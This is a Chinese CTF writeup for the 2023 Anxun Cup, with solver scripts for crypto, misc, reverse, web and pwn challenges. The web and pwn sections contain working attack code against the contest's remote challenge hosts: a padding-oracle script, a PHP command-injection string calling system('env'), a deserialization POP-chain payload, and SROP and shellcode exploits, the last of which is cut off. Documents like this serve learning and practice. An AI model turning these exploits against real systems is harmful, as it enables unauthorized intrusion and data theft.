2023 第六届安洵杯 writeup

CRYPTO

010101

漏洞点在

p1[random.choice([i for i, c in enumerate(p1) if c == '1'])] = '0'p2[random.choice([i for i, c in enumerate(p1) if c == '0'])] = '1'

p1只是随机的把1的位置转一个变成0，p2把0的位置随机转一个到1，直接逆回去即可

charon@root:~/Desktop$ nc 124.71.177.14 10001SHA256(XXXX + 46tr7JsAnftJaAj2):bb607c005123726d6b766c22aae953c9b940e577c6eee1834d58d7b4c8aed0bcGive Me XXXX:1sytPress 1 to get ciphertext160193174556824949951075954803233003012816842690127307013510848085346068610971287323876920567332357394122271978453722692457494759798599533250216644767344100147205757319259042511024425933666556684039902639955101810139671259542396251755746455288801028875220258179860863529775701930079256910152846601392232532282209264644554936501718333633068288255331839708706453437022604550696485775468107214433647142338976159359340611823716414851969716109410145514867492749907335929882188585826396855702227989094931315162925698963478866567024466631753790684450624332658872491214428430812988549793793090443138202365654656967830789022109840423787811071805221741453351818771857714177787861825654940160610738012477418672095750642785039751733677142793282708135464838052384986960446905830989908347842119190363468604134025815754338956523711042111079335239435093606014630717749855727048217630149446806934215370001997261252196944147153515660455403386295459397159476008740650783351875870788633500143273859204334981976611258076796194034758380177159012181004978352431457721036954027015879944370720046627251242934827003352629496019813125896143664802547084184729934742025133039198077975240749405903801407144490678961949065090990727629407793704805894056223679969091710110110011110010010110100011101101110001110010111001111110110100101111110011100111010100101111101000010010001000111011000010000100111101000000011011101110011111100101011001010110110000111010111101110101110101001010100101011001110111101111101111000111100100001010111100110011101110011110000101100100011111011100001001001100110001101111101101101101100000101001111011111101001000001111010111100001100010001011101001101011010001110110000100100011100110010100111110101001001110111110110111110000000000011001001101010110000000010010000110100100110010110101000000111110010101001010100011000111000000000010010000101111000011111000010110010111011001000100011001001011000101111010011100101100100100011111011000101010000111011100000001011010010101101101101110101100010000111100111111101010001110100000111100111110000100000101110010111101000000011110111110100001010111011011001000011101100101001011000001100110000000011101110011111101000011001010101000111010010000101010010101101110111111110101000000001011111011111000111001110110101001100001000000010110010001010111000000000001001101000010001011111010010100100101000000000111100111001111011111011111000000001001101101000010011111010001011101010011011100111000001011001001001101001010100000110010100111110010010011110110010110111100001110111010101010101010111001000101110001110111111100110010011101111101101111001000110110010001011110011010000000011111100010110100001110101101010001100101001011010011010001011011101101010111111010000000001000000101100110110100011110001101010110100110111010111110011001001101011100111000010100010001001110000001000111101110010010100000111011010100110101110110100000001100100001101001001100101110100001000011010010110001000110111110000001001010110001100101000001000000010110101000111100100001010000010111011100010111011010010001010011011100001011000101000101010110100100001001110000001001011000011101100100011011011100001011100100001100000100111000011000010001000011110011111000011111011000101001110111000000100111101010001010100100000101001010010110110000011010011000100110011363974195772145231697650077310086493709207023212754288977299477356401449767367884685507497439057315476058887282522651685773985772294344536235166524477663292807416570029315733179528577379504421255562298407728156586102101403178589940556788233347922215473108632642413216683654588730090728695353014477095209183054553113134830662110372665928957973715671446333444093092218507215396038787746527875979643339687945569730551806313156568746812468342482486546209624500679305929578612743025424384816593247796697730099729038972386405154049870284202733894691445908782979047583747805480771490450196971406525546547633889579020657723518264942003696915665961917952145217112253633848340252914175173075397993827903442120956864909938018097693848776019514421316178494154048707742544644528988010562573565558284797954675624387786817541580112660601516327573201366674069645447118005820926804579361542035220072853409208648240744370817666664321901270023789263924215039347973482121942421086705477108683641497511641488548191336178503962755347682824818128652286066613903859084167048583875734142764229143321297366252916602852741256994030818854232006056387114490752371418983540535937394700286498254726888830557455770169142748255294430133390313625632387288003135311581

?

exp

from gmpy2 import *from Crypto.Util.number import *from tqdm import *n=601931745568249499510759548032330030128168426901273070135108480853460686109712873238769205673323573941222719784537226924574947597985995332502166447673441001472057573192590425110244259336665566840399026399551018101396712595423962517557464552888010288752202581798608635297757019300792569101528466013922325322822092646445549365017183336330682882553318397087064534370226045506964857754681072144336471423389761593593406118237164148519697161094101455148674927499073359298821885858263968557022279890949313151629256989634788665670244666317537906844506243326588724912144284308129885497937930904431382023656546569678307890221098404237878110718052217414533518187718577141777878618256549401606107380124774186720957506427850397517336771427932827081354648380523849869604469058309899083478421191903634686041340258157543389565237110421110793352394350936060146307177498557270482176301494468069342153700019972612521969441471535156604554033862954593971594760087406507833518758707886335001432738592043349819766112580767961940347583801771590121810049783524314577210369540270158799443707200466272512429348270033526294960198131258961436648025470841847299347420251330391980779752407494059038014071444906789619490650909907276294077937048058940562236799690917p='10110110011110010010110100011101101110001110010111001111110110100101111110011100111010100101111101000010010001000111011000010000100111101000000011011101110011111100101011001010110110000111010111101110101110101001010100101011001110111101111101111000111100100001010111100110011101110011110000101100100011111011100001001001100110001101111101101101101100000101001111011111101001000001111010111100001100010001011101001101011010001110110000100100011100110010100111110101001001110111110110111110000000000011001001101010110000000010010000110100100110010110101000000111110010101001010100011000111000000000010010000101111000011111000010110010111011001000100011001001011000101111010011100101100100100011111011000101010000111011100000001011010010101101101101110101100010000111100111111101010001110100000111100111110000100000101110010111101000000011110111110100001010111011011001000011101100101001011000001100110000000011101110011111101000011001010101000111010010000101010010101101110111111110101000000001011111011111000111001110110101001100001000000010110010001010111000000000001001101000010001011111010010100100101000000000111100111001111011111011111000000001001101101000010011111010001011101010011011100111000001011001001001101001010100000110010100111110010010011110110010110111100001110111010101010101010111001000101110001110111111100110010011101111101101111001000110110010001011110011010000000011111100010110100001110101101010001100101001011010011010001011011101101010111111010000000001000000101100110110100011110001101010110100110111010111110011001001101011100111000010100010001001110000001000111101110010010100000111011010100110101110110100000001100100001101001001100101110100001000011010010110001000110111110000001001010110001100101000001000000010110101000111100100001010000010111011100010111011010010001010011011100001011000101000101010110100100001001110000001001011000011101100100011011011100001011100100001100000100111000011000010001000011110011111000011111011000101001110111000000100111101010001010100100000101001010010110110000011010011000100110011'c=363974195772145231697650077310086493709207023212754288977299477356401449767367884685507497439057315476058887282522651685773985772294344536235166524477663292807416570029315733179528577379504421255562298407728156586102101403178589940556788233347922215473108632642413216683654588730090728695353014477095209183054553113134830662110372665928957973715671446333444093092218507215396038787746527875979643339687945569730551806313156568746812468342482486546209624500679305929578612743025424384816593247796697730099729038972386405154049870284202733894691445908782979047583747805480771490450196971406525546547633889579020657723518264942003696915665961917952145217112253633848340252914175173075397993827903442120956864909938018097693848776019514421316178494154048707742544644528988010562573565558284797954675624387786817541580112660601516327573201366674069645447118005820926804579361542035220072853409208648240744370817666664321901270023789263924215039347973482121942421086705477108683641497511641488548191336178503962755347682824818128652286066613903859084167048583875734142764229143321297366252916602852741256994030818854232006056387114490752371418983540535937394700286498254726888830557455770169142748255294430133390313625632387288003135311581# p1=p[:1024]# p2=p[1024:]# pp1=[i for i, c in enumerate(p1) if c == '0']# pp2=[i for i, c in enumerate(p1) if c == '1']# print(pp1)# for i in tqdm(pp1):#     p1 = list(p[:1024])#     p1[i]='1'#     for j in pp2:#         p2 = list(p[1024:])#         p2[j]='0'#         ppp=''.join(p1) + ''.join(p2)#         ppp2=int(ppp,2)#         if n%ppp2==0:#             print(ppp2)#             breakp=23035125732261132358670499878109017381474612877560501678840135971884602002596362770042962719837871778607403423140553717636949563024173949672281747566044348211883894971758093237914208347253908009359914127501739323351540268777972140879841918587634194478383649138731012434783470970638093549174619359989933572268463391374193459608549354611510909253795420360095279545780658678412847237770763508515088914878492525553581261678529131687242421476753253431930293211570439334452217877146659650508457581300434519215816445425880176422556848574152119462509229109443358566019337029013527249995191088717060570352636009477629767659827print(isPrime(p))q=n//pe = 0x10001d=invert(e,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))

b'D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}'

POA

cbc padding attack

from pwn import *from hashlib import sha256import stringfrom pwnlib.util.iters import mbruteforceimport binasciir = remote("124.71.177.14",10010)
table = string.ascii_letters+string.digitsdef pow():    r.recvuntil("XXXX + ")    suffix = r.recv(16).decode("utf8")    r.recvuntil(":")    cipher = r.recvline().strip().decode("utf8")    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==                        cipher, table, length=4, method='fixed')    r.sendline(proof)
pow()r.sendline('1')r.recvuntil('This is your flag: ')c=r.recvuntil('\n',drop=True)print('c=',c)iv = c[:32]cipher = c[32:]enc=binascii.unhexlify(cipher)iv=binascii.unhexlify(iv)print('enc=',enc)print('iv=',iv)pt = bytearray(b'\x00'*16)for make_pad_len in range(1, 17):    xored_iv = bytearray(16)    for i in range(16):        xored_iv[i] = iv[i] ^ pt[i]    index = 16-make_pad_len    for i in range(0x100):        _iv = bytearray(16)        for j in range(index, 16):            _iv[j] = xored_iv[j] ^ make_pad_len        _iv[index] = i        _iv = bytes(_iv.rjust(16, b'\x00'))+enc        ivv=_iv.hex()        r.sendline('2')        r.recvuntil('Please enter ciphertext:\n')        # print('tt=',len(tt))        print('ivv=',ivv)        r.send(str(ivv))        res=r.recvuntil('\n')        # print('res=',res)        if b'True' in res:            v = i ^ iv[index] ^ make_pad_len            pt[index] = v            print(chr(v), pt.hex(), bytes(pt))            breakr.interactive()

ivv= 10660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdivv= 11660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdivv= 12660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdivv= 13660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdivv= 14660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdivv= 15660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdivv= 16660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdivv= 17660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdivv= 18660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdivv= 19660c133b052b632110242b782073692bae5e1757e42a6a8a5a384f0a7c81fdM 4d467b305040643454746b7d04040404 b'MF{0P@d4Ttk}\x04\x04\x04\x04'[*] Switching to interactive mode

D0g3{0P@d4Ttk}

Rabin

第一步爆破x，获得r,从而n1=n//r=p*q

第二步注意到inv_p*p+inv_q*q=n1+1,再加上p*q=n1,可以求得p，q

第三步，爆破e2,根据p，q直接求d，解密第二部分m，验证前10个字符isprintable就可以爆破出，e2 为 5，第二部分40-a9e4-a67a9ba15345}

第三步，根据relation()，以及第一步，判断x比较可能是8，根据e2,爆破e1是2，rabin解密得到第一段D0g3{82309bce-9db6-53

最终flag:D0g3{82309bce-9db6-5340-a9e4-a67a9ba15345}

Python代码如下：???????

from Crypto.Util.number import *from gmpy2 import *n = 285333097560579856892735567589027491455281816676548482904879584411084840450605271899236335787378212457644480538489333957199681005051324763317061914445335184643625612096862543286134102802857549376968548460142475231575293784694948584292852369440735047979684088368282494500434727138560870002195137014489167165627331632368455059106946492710112045617183371020744982960108917884038933243553293376828996387182739769132792122496876799056412450480295939241242493468339649702797915685408056205502660879129130498545921410634619659281124474952328520326377732861327885460825785663612083850698299251860568500798463658863076047273218029864658192865375924206328915181982984562250516942987232706349911392265126207255534866190377014380855435918220022982938162059864440683044775523888991188203006479911766073854154460130165113177584072109403534582913430806912608626570189230138578926612739070744683368688850886527094463667668825307246359436635233811527374246463299941661976846168659355118349992007638908363168630724274951inv_p = 15518556384860245743478620429603192585685787953718242976660224479750998999124338822955414145628584896866254074982803409103638138579055846815417400924284717580342975268418607314979326166327341036902072011846895021125831579420772494902187900359222937225476944827334097644914928633555605528401231109679269995086inv_q = 155844952786694191575297403428699000736198123964886234441336879931357938912183547278484904361669861403393518512602888045819050991788625527088116664969187555777028144199786402659623855374576202766323863308930997626431142188895581868394783999218343754370726823809671619460649473747905784816603565738974432428480c1 = 126976144638062411994384099639219893719548652649797747968794241772829388392059131204549804095367482955713969969355185232593725760428681633925245739792469765283064470833596211603668120879365838887254328902988534426769340803326035688970033255868390278666156442829111587282507934612148101514683146219594379325568501808994038719784055659363522080979550015313702694077294838434724135616183144122907039758450363380287762050096893679619122349248941856699588431034712017310975233907480446137538753544059977757157457507646299200188974533402557530497781126307449150221146472482007846609714342333817505591830507656245367858711393207787365997909956902207542164544097922462033634018795680632571241102059887769247904527047628319436872644835675831505379779011242527097220466159871163455244971911311179106589058265977916423231213266773521104981166940713044082334510252946317916149089661406584941263677321406447326099096001132473765127971954144881177204994916711534164440380921197150440049304017047080659500777241740528c2 = 146941331442564610016438819735547244506352704046774905613426284012869732747925710307265626766652735661835157362691409229558530888941189129960135439286471184689177437139594351730287457489682323200067610139473500557213628686488936379775312971741967583943854236936993185362784886957646210710012024839783323641398605391643544058597455541620941929330435766958836695050614733661967896963275403693970761214082313515330149780215334487889969179336091893274890943467738514867511025492419144817240630139160081094440537994689088123579690334770462633832325163789325881676740410159219779623129230840988303480150753783702883385763373756192046417120986761450383952686760580908911815204339547584815987309530429459803006137138710075476256076429790734381285100612579775390606666816783573924249773339782127155714010817196675330870127749087069339556243710348583718134476356016094530370196897414589976876765847625687561629780514239120563907981343926849715187507551839537984064153228278609868504300922982445067467503667611505

r=10407932194664399081925240327364085538615262247266704805319112350403608059673360298012239441732324184842421613954281007791383566248323464908139906605677320762924129509389220345773183349661583550472959420547689811211693677147548478866962501384438260291732348885311160828538416585028255604666224831890918801847068222203140521026698435488732958028878050869736186900714720710555703168729087p=172734683184670521870728305371917464596062609133662457971030651681563614292692150176606848807534588267834112546004233695199322884456898046304537198440536833886920821550944800659049952451650465399792357613884244821145480278404875760748959392209037101099598435512738382399052937036823852468261051762813693137499q=158711409682623467193918200983728047440421670534311259267841341750844583719487872424882600690624065414558783083519077629543263229349472283576912545178060245058165997332172994084313993698397899585980714769786106061192880855558784452710588701697475203159038487141201679925814406643761912866831915524057271725627assert inv_p==invert(p,q)assert inv_q==invert(q,p)assert n==p*q*rn1=n//r#2 · 3^2 · 71phi=(p-1)*(q-1)def test(m):    for i in m:        if i<30 or i>128:            return 0    return 1print(phi)def relation(e1,e2):    a, b = 0, 0    for i in range(8 - (2**2 - 1)):        a += pow(e1, i)    for j in range(3):        b += pow(e2, j)    if a == b:        return True    return Falsee1=2e2=5mp = pow(c1, (p + 1) // 4, p)mq = pow(c1, (q + 1) // 4, q)a = (inv_p * p * mq + inv_q * q * mp) % n1b = n1 - int(a)c = (inv_p * p * mq - inv_q * q * mp) % n1d = n1- int(c)for i in (a, b, c, d):    print(long_to_bytes(i))exit()
exit()for i in range(1,600):    if(relation(i,e2)):        print(i)exit()#D0g3{82309bce-9db6-5340-a9e4-a67a9ba15345}from tqdm import tqdmfor i in tqdm(range(4,6)):    if gcd(i,phi)>1:        continue    d=invert(i,phi)    m=pow(c2,d,n1)    m=long_to_bytes(m)    if b"}" in m[:30] and test(m[:10])==1:        print(i,m)exit()for x in range(2,100):    r = 2    print("begin",x)    while True:        r = r * x        if r.bit_length() > 1024 and isPrime(r - 1):            r = r - 1            break    if n%r==0:        print(x,r)

MISC

dacongのWindows

桌面flag3一串PBE

根据描述提示注册表，windows.registry.printkey拿到一串字符d@@Coong_LiiKEE_F0r3NsIc

aes解出flag3

document下secret.rar

rstudio恢复出来解压有点问题，用vol3

?

一堆空白

很明显的snow了

拿到flag2

提示music

dacong_like_listen下面一堆wav，听上去就很像sstv，一个一个试过去

39.wav拿到flag1

拼接flag

flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs????}

签到处

D0g3{We1come_TO_AXB_F1111@g}

Nahida

reverse jpg

文件尾

反复提到眼睛，猜测silenteye。那个你一直在寻找的答案，早已出现在你的旅途，fuzz后指的是密码是题目名

dacongのsecret

png fft拿到第一个密码

同样套路，jpg文件尾reverse 压缩包

又要密码

回去看png，很明显19 chunk块长度小于0x10000，那么20 chunk块肯定是多余的（经测试删除后png不会少任何像素）

将19chunk块拿出来，补个png文件头（直接用题目png的文件头）

爆破一下宽高，860*123拿到key

解压后，一眼base64隐写

拿到pass，fuzz后是上一个jpg的jphs，拿到flag

?

疯狂的麦克斯

1.将docx文件转换为zip提取隐藏文件

2.将麦克斯的称号打开后解密零宽字符得到麦克斯的称号

3.将隐藏的txt文件打开后发现为一个列表，列表的末尾有一串密文

使用rot13并将amount设置为22后密文解密后得到THIS IS MKS DO YOU KNOW WHOAMI

4.将列表也进行同样的解密，根据题目描述，只要将列表每一个值进行base64加密后，就可以在其中找到正确的压缩包密码

脚本如下

???????import base64 lst = ['71132E', '328051N', '248199O'...] # 加密函数def encrypt_string(string):? ? encoded_bytes = base64.b64encode(string.encode('utf-8'))? ? return encoded_bytes.decode('utf-8') # 打开文件with open('output.txt', 'w') as file:? ? # 遍历列表中的每一个值? ? for value in lst:? ? ? ? # 加密并写入文件? ? ? ? encrypted_value = encrypt_string(value)? ? ? ? file.write(encrypted_value + '\n')

爆破

解压压缩包得到flag

REVERSE

MobileGo

libgojni.so的mobile_go_Checkflag函数完成加密，首先初始化随机数生成器，种子为2023

之后随机生成两个随机数并将其作为索引完成flag中字符位置的互换

解密脚本如下，首先通过Go语言生成伪随机数

• package main import ( "fmt" "math/rand")func main() { source := rand.NewSource(2023) random := rand.New(source) for i := 0; i < 0x26; i++ { randomNumber := random.Intn(0x26) randomNumber1 := random.Intn(0x26) fmt.Print("[", randomNumber, ",", randomNumber1, "]") fmt.Print(",") }}

然后从后往前还原，密文从Android的资源文件中提取

???????flag=bytearray(b"49021}5f919038b440139g74b7Dc88330e5d{6")key=[[11,14],[15,37],[24,18],[8,30],[6,9],[30,3],[29,9],[4,13],[13,24],[37,1],[28,28],[3,1],[23,22],[21,26],[7,19],[1,34],[37,17],[27,29],[31,30],[14,2],[35,34],[4,27],[9,3],[3,24],[30,29],[3,27],[14,25],[26,0],[4,28],[5,15],[9,9],[13,18],[24,3],[35,24],[36,27],[25,21],[11,4],[27,28]]for row in reversed(key): tmp=flag[row[0]] flag[row[0]]=flag[row[1]] flag[row[1]]=tmpprint(flag)

D0g3{4c3b5903d11461f94478b7302980e958}

你见过蓝色的小鲸鱼

通过IDA插件可知`BlowFish`加密算法，用户名作为密钥，提取密文后编写脚本解密

from Crypto.Cipher import Blowfishkey=b'UzBtZTBuZV9EMGcz'bf=Blowfish.new(key,Blowfish.MODE_ECB)enc=b"\x11\xA5\x1F\x04\x95\x50\xE2\x50\x8F\x17\xE1\x6C\xF1\x63\x2B\x47"print(bf.decrypt(enc))#QHRoZWJsdWVmMXNo

牢大想你了

反编译Assembly-CSharp.dll文件

其中GameManager.OnValueChanged对输入完成TEA加密

解密脚本如下

#include<string.h>#include <stdio.h>
int main(){  unsigned int Data[12] = { 3363017039U,      1247970816U,      549943836U,      445086378U,      3606751618U,      1624361316U,      3112717362U,      705210466U,      3343515702U,      2402214294U,      4010321577U,      2743404694U };  unsigned int key[4] = { 286331153,      286331153,      286331153,      286331153 };  unsigned int tmp[2] = { 0 };  unsigned int sum = 0;  unsigned int delta = 0x9e3779b9;  for (int i = 0; i < 12; i += 2)  {    tmp[0] = Data[i];    tmp[1] = Data[i + 1];    sum = delta * 32;    for (int j = 0; j < 32; ++j)    {      tmp[1] -= ((tmp[0] << 4) + key[2]) ^ (tmp[0] + sum) ^ ((tmp[0] >> 5) + key[3]);      tmp[0] -= ((tmp[1] << 4) + key[0]) ^ (tmp[1] + sum) ^ ((tmp[1] >> 5) + key[1]);      sum -= delta;    }    Data[i] = tmp[0];    Data[i + 1] = tmp[1];    printf("%c%c%c%c%c%c%c%c", ((char*)&Data[i])[0], ((char*)&Data[i])[1], ((char*)&Data[i])[2], ((char*)&Data[i])[3], ((char*)&Data[i + 1])[0], ((char*)&Data[i + 1])[1], ((char*)&Data[i + 1])[2], ((char*)&Data[i + 1])[3]);  }
  return 0;}

结果为 it_is_been_a_long_day_without_you_my_friend

你好,PE

找到关键代码，有点像CRC64

搜了个脚本一把梭

import struct
def decode_k(v):    is_negative = v & 1    if is_negative:        v ^= 0x54AA4A9    v >>= 1    if is_negative:        v |= 0x8000000000000000    return v
g_key = '4DB87629F5A99E595556B1C42F212C30B3797817A8EDF7DBE153F0DBE903515E09C100DFF096FCC1B5E6629501000000'g_key = bytearray.fromhex(g_key)single_len = 8g_output = [g_key[x:x+single_len] for x in range(0, 6*single_len, single_len)]g_output = [struct.unpack('<Q', x)[0] for x in g_output]
def decode_j(v):    for k in range(64):        v = decode_k(v)    return v
r = [decode_j(x) for x in g_output]flag = [struct.pack('<Q', x) for x in r]flag = [x.decode() for x in flag]print(''.join(flag))#D0g3{60E1E72A-576A8BF0-7701CBB9-B02415EC}

感觉有点点简单

主函数获取数据后进行魔改rc4和魔改base64加密

rc4魔改了sbox的大小和最后异或结果

base64魔改了表和位运算的操作

解密脚本

#include<stdio.h>#include<stdlib.h>#include<string.h>#define sboxSize 64
unsigned char findPos(const unsigned char* base64_map, unsigned char c)//查找下标所在位置{  for (int i = 0; i < strlen((const char*)base64_map); i++)  {    if (base64_map[i] == c)      return i;  }}unsigned char* base64_decode(const unsigned char* code0){  unsigned char* code = (unsigned char*)code0;  unsigned char base64_map[65] = "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh";  long len, str_len, flag = 0;  unsigned char* res;  len = strlen((const char*)code);  if (code[len - 1] == '=')  {    if (code[len - 2] == '=')    {      flag = 1;      str_len = len / 4 * 3 - 2;    }
    else    {      flag = 2;      str_len = len / 4 * 3 - 1;    }
  }  else    str_len = len / 4 * 3;  res = (unsigned char*)malloc(sizeof(unsigned char) * str_len + 1);  unsigned char a[4] = { 0 };
  for (int i = 0, j = 0; j < str_len - flag; j += 3, i += 4)  {    a[0] = findPos(base64_map, code[i]);    //code[]每一个字符对应base64表中的位置,用位置值反推原始数据值    a[1] = findPos(base64_map, code[i + 1]);    a[2] = findPos(base64_map, code[i + 2]);    a[3] = findPos(base64_map, code[i + 3]);    res[j] = a[0] | ((a[1] & 0x3) << 6);//第一个字符对应    res[j + 1] = ((a[1] & 0x3c) >> 2) | ((a[2] & 0xf) << 4);    res[j + 2] = ((a[3] & 0x3f) << 2) | ((a[2] & 0x30) >> 4);    //res[j] = a[0] << 2 | a[1] >> 4;    //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的后2位进行组合      //res[j + 1] = a[1] << 4 | a[2] >> 2;  //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应bas464表的十进制数的后4位进行组合      //res[j + 2] = a[2] << 6 | a[3];     //取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合   }
  switch (flag)  {  case 0:break;  case 1:  {    a[0] = findPos(base64_map, code[len - 4]);    a[1] = findPos(base64_map, code[len - 3]);    res[str_len - 1] = a[0] | ((a[1] & 0x3) << 6);    break;  }  case 2: {    a[0] = findPos(base64_map, code[len - 4]);    a[1] = findPos(base64_map, code[len - 3]);    a[2] = findPos(base64_map, code[len - 2]);    res[str_len - 2] = a[0] | ((a[1] & 0x3) << 6);//第一个字符对应    res[str_len - 1] = ((a[1] & 0x3c) >> 2) | ((a[2] & 0xf) << 4);    //res[str_len - 2] = a[0] << 2 | a[1] >> 4;    //res[str_len - 1] = a[1] << 4 | a[2] >> 2;    break;  }  }  res[str_len] = '\0';  return res;}
unsigned char sbox[sboxSize] = { 0 };void swap(unsigned char* a, unsigned char* b){  unsigned char tmp = *a;  *a = *b;  *b = tmp;}void init_sbox(unsigned char key[], int keyLen) {  for (unsigned int i = 0; i < sboxSize; i++)//赋值    sbox[i] = i;  unsigned char Ttable[sboxSize] = { 0 };  for (int i = 0; i < sboxSize; i++)    Ttable[i] = key[i % keyLen];//根据初始化t表  for (int j = 0, i = 0; i < sboxSize; i++)  {    j = (j + sbox[i] + Ttable[i]) % sboxSize;  //打乱s盒    swap(&sbox[i], &sbox[j]);  }}void RC4_enc_dec(unsigned char data[], int dataLen, unsigned char key[], int keyLen) {  unsigned char i = 0, j = 0;  init_sbox(key, keyLen);  for (unsigned int h = 0; h < dataLen; h++)  {    i = (i + 1) % sboxSize;    j = (j + sbox[i]) % sboxSize;    swap(&sbox[i], &sbox[j]);    data[h] ^= (i^j)&sbox[(((i^j)+sbox[i]+sbox[j])%sboxSize)];  }}
int main() {  unsigned char BaseData[] = "6zviISn2McHsa4b108v29tbKMtQQXQHA+2+sTYLlg9v2Q2Pq8SP24Uw=";  unsigned char* result=base64_decode(BaseData);//魔改base  RC4_enc_dec(result, 41,(unsigned char*)"the_key_", 8);//魔改rc4
  printf("%s", result);  return 0;}

WEB

what’s my name

?d0g3=’”]);}system(‘env’);;;;/*include&name=%00lambda_32

跑32次

easy_unserialize???????

<?phpclass Good{    public $g1;    private $gg2='*&'; }class Luck{    public $l1;    public $ll2;    private $md5=1131911;    public $lll3;}class To{    public $t1;    public $tt2;    public $arg1 = array("guangji"=>1);     }class You{    public $y1;     }class Flag{ }$F = new Flag;$F->SplFileObject = "/FfffLlllLaAaaggGgGg";$F->b = "";$l2 = new Luck;$l2->l1 = $F;$t2 = new To;$t2->t1 = $l2;$l = new Luck;$l->ll2 = $t2;$t = new To;$t->tt2 = $l;$g = new Good;$g->g1 = $t;$r = new Luck;$r->lll3 = $g;$q = new You;$q->y1 = $r;echo urlencode(serialize($q));

payload

D0g3=O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BN%3Bs%3A3%3A%22ll2%22%3BN%3Bs%3A9%3A%22%00Luck%00md5%22%3Bi%3A1131911%3Bs%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3BN%3Bs%3A3%3A%22tt2%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BN%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A2%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3Bs%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3B%7Ds%3A3%3A%22ll2%22%3BN%3Bs%3A9%3A%22%00Luck%00md5%22%3Bi%3A1131911%3Bs%3A4%3A%22lll3%22%3BN%3B%7Ds%3A3%3A%22tt2%22%3BN%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bi%3A1%3B%7D%7Ds%3A9%3A%22%00Luck%00md5%22%3Bi%3A1131911%3Bs%3A4%3A%22lll3%22%3BN%3B%7Ds%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bi%3A1%3B%7D%7Ds%3A9%3A%22%00Good%00gg2%22%3Bs%3A2%3A%22%2A%26%22%3B%7D%7D%7D

PWN

seccomp

一个输入长gadget的全局变量，一次溢出机会

有沙箱，但是可以orw读出flag，借助一部分srop的手法加以利用???????

from pwn import *import timeimport subprocesscontext(arch='amd64',os='linux',log_level='debug')command = "ls -l"#p = process('./chall')p=remote("47.108.206.43",22039)elf = ELF("./chall")
#libc = ELF("./libc-2.23.so")#libc = ELF("./libc.so.6")#context(arch="amd64",os="linux",log_level="debug")def s(a) : p.send(a)def sa(a, b) : p.sendafter(a, b)def sl(a) : p.sendline(a)def sla(a, b) : p.sendlineafter(a, b)def r() : return p.recv()def pr() : print(p.recv())def rl(a) : return p.recvuntil(a)def inter() : p.interactive()def get_addr():  return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#752leave = 0x40136csig = 0x0000000000401194sy = 0x000000000040118a#gdb.attach(p)
opena = SigreturnFrame()          opena.rax = 0                    opena.rdi = 2     opena.rsi = 0x404060                  opena.rdx = 0opena.rcx = 0               opena.rip = elf.plt['syscall']          opena.rbp = 0x404060 + 0x20      opena.rsp = 0x404170read1 = SigreturnFrame()          read1.rax = 0                    read1.rdi = 0                  read1.rsi = 3       read1.rdx = 0x404560read1.rcx = 0x30              read1.rip = elf.plt['syscall']          read1.rbp = 0x404060 + 0x20         read1.rsp = 0x404170+(0x404170-0x404060)-8write = SigreturnFrame()          write.rax = 0                    write.rdi = 1                  write.rsi = 1       write.rdx = 0x404560write.rcx = 0x30             write.rip = elf.plt['syscall']          write.rbp = 0x404060 + 0x20       write.rsp = 0x404170+(0x404170-0x404060)sla("easyhack",b'./flag\x00\x00'+p64(sig)+p64(sy)+flat(opena)+p64(sig)+p64(sy)+flat(read1)+p64(sig)+p64(sy)+flat(write))
sla("SUID?",b'a'*(0x2a)+p64(0x404060)+p64(leave))
p.interactive()

side_channel,initiate!??????

from pwn import *
context.log_level = 'ERROR'context.terminal = ['wt.exe', 'wsl.exe', 'bash', '-c']context.binary = './chall'binary = context.binary
REMOTE = args.REMOTE or 1
syscall = 0x40118Abss = 0x404060FLAG = '/flag'
code = shellcraft.open(FLAG, 'O_RDONLY', 'rdx')code += shellcraft.read(3, bss+0xE00, 0x100)code += '''    xor eax, eax    mov rdi, 0    mov rsi, 0x404F60    mov rdx, 2    syscall
    movzx rcx, byte ptr [0x404F60]    movzx rax, byte ptr [0x404F61]    movzx rbx, byte ptr [0x404E60+rcx]    cmp rax, rbx    jge L_HANG    jmp L_EXITL_HANG:    xor eax, eax    mov rdi, 0    mov rsi, 0x404F60    mov rdx, 1    syscallL_EXIT:
'''code += shellcraft.exit(0)
shellcode = asm(code)
def test(idx, ch):    if REMOTE:        p = remote('47.108.206.43', 37910)    else:        p = process('./chall')
    pay1 = shellcode    pay1 = pay1.ljust(0x100, b'A')    pay1 += b'A'*0x8    pay1 += p64(0x401193)    pay1 += p64(syscall)
